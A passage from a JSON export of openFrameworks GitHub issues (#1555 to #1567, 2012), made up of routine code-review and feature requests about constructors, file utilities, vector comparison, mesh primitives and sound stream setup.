ode-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-09-06T16:18:11Z","updated_at":"2012-09-06T20:11:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It can only be set in the startThread method.\n\nshould have `setVerbose` and `isVerbose` methods.\n\nmaybe `isBlocking` and `setBlocking` methods?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1566","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1566/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1566/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1566/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1566","id":6691693,"number":1566,"title":"ofBaseSoundStream setDeviceId doesn't close/reopen the sound stream","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T15:50:26Z","updated_at":"2012-09-06T15:50:26Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"on ofBaseSoundStream::setup, setDeviceId can currently only be called before setup(). this should either close+reopen the stream or throw an error message."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1565","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1565/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1565/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1565/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1565","id":6691195,"number":1565,"title":"more primitives for OF - Cuboid, Cylinder, meshPlane etc and getters.","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":2,"created_at":"2012-09-06T15:34:03Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofGetSphere, ofGetBox, ofGetCuboid - returns an ofMesh object with the requested dimensions. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1564","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1564/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1564/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1564/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1564","id":6691170,"number":1564,"title":"ofPixels::copyFrom needs a re-write","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-09-06T15:33:33Z","updated_at":"2012-09-06T16:03:06Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"this function looks problematic -- there's a sizeof(float) which could be bad where `sizeof(int) == sizeof(float)`, and there's a potential to use memcpy elsewhere in the funciton. also some ternary operators that look odd. it also could be really commented fully. \n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1563","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1563/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1563/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1563/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1563","id":6690881,"number":1563,"title":"ofRenderCollection seems redundant","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T15:24:10Z","updated_at":"2012-09-06T15:24:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in the group review we started to discuss ofRenderCollection and if it was really necessary as a file -- it's alot of reimplementation of code and it means that as we make changes to the render pipeline, there's now three places we need to change it (in the ofCore, in the render and in the collection). \n\nalso, the name \"ofRenderCollection\" feels very java :)\n\nCould we move the logic of ofRenderCollection closer into OF, ie, ? At the moment, there's for sure something repetitive happening here, and if multiple renders is something we really care about and wish to support, we could switch all the calls that do: \n\n`renderer->`\n\nto \n\n`for (int i = 0; i < renders.size(); i++){\n}`\n\nand just remove this file?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1562","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1562/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1562/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1562/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1562","id":6690839,"number":1562,"title":"Constructors in openFrameworks","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-06T15:22:43Z","updated_at":"2012-09-06T15:31:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"We need a standardized approach to constructors.\n\nThe hardline answer is that there are only two types of constructors:\n\n* default constructors\n* copy constructors\n\nThis means that `ofBuffer(const string)` shouldn't exist, only `ofBuffer::load(const string)`. That's kind of reasonable.\n\nBut it also means that `ofRectangle(x,y,w,h)` shouldn't exist, and that's unreasonable.\n\nI think a good guideline is that if anything would be called `load`, `init` or `setup`, then it should be in a method, not a constructor. If something would be called `set` (simple data container) then it's ok to have a constructor.\n\nWhat does everyone think? Should `ofFile(string filename)` exist? How about `ofFile(string filename, bool binary)`? How about `ofImage(string filename)`?\n\nCode is cheap, but having more alternatives can make things harder to explain and more difficult to maintain, even when they're simple wrappers."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1561","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1561/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1561/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1561/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1561","id":6690737,"number":1561,"title":"ofDirectory::removeDirectory","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-06T15:19:20Z","updated_at":"2012-09-06T16:14:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is just an unfortunate arg ordering. \n\nAll other ofFile / ofDirectory methods have `bRelativeToData = true` as the second arg.\nwith `removeDirectory` the second arg is `deleteIfEmpty` - so it might be easy to be confused with the others and have people accidentally. \n\nhttps://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/utils/ofFileUtils.h#L272\n\nps: not sure what the best fix is here. \nanything to do with deleting files should be handled with care."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1560","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1560/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1560/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1560/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1560","id":6690115,"number":1560,"title":"stop using strings for file path manipulation","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-09-06T14:57:29Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is sort of a global issue and is being partly addressed by @elliotwoods 's PR for ofDataPath #1523\n\nWe should refrain from doing string manipulation on paths and use poco path for everything but actually passing the path to the loader/saver/manipulator .\n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1559","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1559/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1559/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1559/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1559","id":6689861,"number":1559,"title":"deprecate ofBufferToFile() procedural style loaders and savers","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":7,"created_at":"2012-09-06T14:50:26Z","updated_at":"2013-02-11T12:12:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofBufferToFile\nofBufferFromFile\nofLoadImage \nofSaveImage etc. \n\nhttps://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/utils/ofFileUtils.h#L54\n\nLets discuss better options for loading and saving ofBuffer, ofTexture, ofImage, ofPixels. \nSuspect that the c-style methods are not being used / don't feel intuitive. \n\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1558","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1558/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1558/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1558/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1558","id":6689792,"number":1558,"title":"ofVec3f/ofVec4f operator== and operator!= rely on float==","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-09-06T14:47:54Z","updated_at":"2012-09-18T10:31:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"float== is unreliable. cf http://stackoverflow.com/questions/17333/most-effective-way-for-float-and-double-comparison \n\nhttp://stackoverflow.com/questions/6837007/comparing-float-double-values-using-operator suggests using `if (fabs((double)a/b - 1) < epsilon)` to avoid issues occuring when you don't know the ranges of a and b, this is for java but probably would work with c++ also."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1557","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1557/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1557/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1557/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1557","id":6689732,"number":1557,"title":"ofVec2f::perpendicular to return a choice of left or right perpendicular","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","name":"section-2D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T14:45:45Z","updated_at":"2012-09-06T14:45:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`ofVec2f::perpendicular`\nshould be able to return a choice of the left or right perpendicular to the vector.\ncould either be done by passing a variable into the function\nor splitting the function into,\n`ofVec2f::perpendicularLeft`\n`ofVec2f::perpendicularRight`\n(perhaps)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1556","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1556/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1556/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1556/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1556","id":6689680,"number":1556,"title":"ofMesh has setName, but no getName()","user":{"login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","html_url":"https://github.com/NickHardeman","followers_url":"https://api.github.com/users/NickHardeman/followers","following_url":"https://api.github.com/users/NickHardeman/following","gists_url":"https://api.github.com/users/NickHardeman/gists{/gist_id}","starred_url":"https://api.github.com/users/NickHardeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/NickHardeman/subscriptions","organizations_url":"https://api.github.com/users/NickHardeman/orgs","repos_url":"https://api.github.com/users/NickHardeman/repos","events_url":"https://api.github.com/users/NickHardeman/events{/privacy}","received_events_url":"https://api.github.com/users/NickHardeman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-09-06T14:43:36Z","updated_at":"2012-09-06T14:43:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There is a `setName()` function for ofMesh, but no `getName()` \nhttps://github.com/openframeworks/openFrameworks/blob/develop/libs/openFrameworks/3d/ofMesh.h#L104\n\nprobably should remove this in the future, but while there is a setName, there should be getName"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1555","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1555/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1555/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1555/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1555","id":6689403,"number":1555,"title":"ofVec2f::average not checking if one of the params is 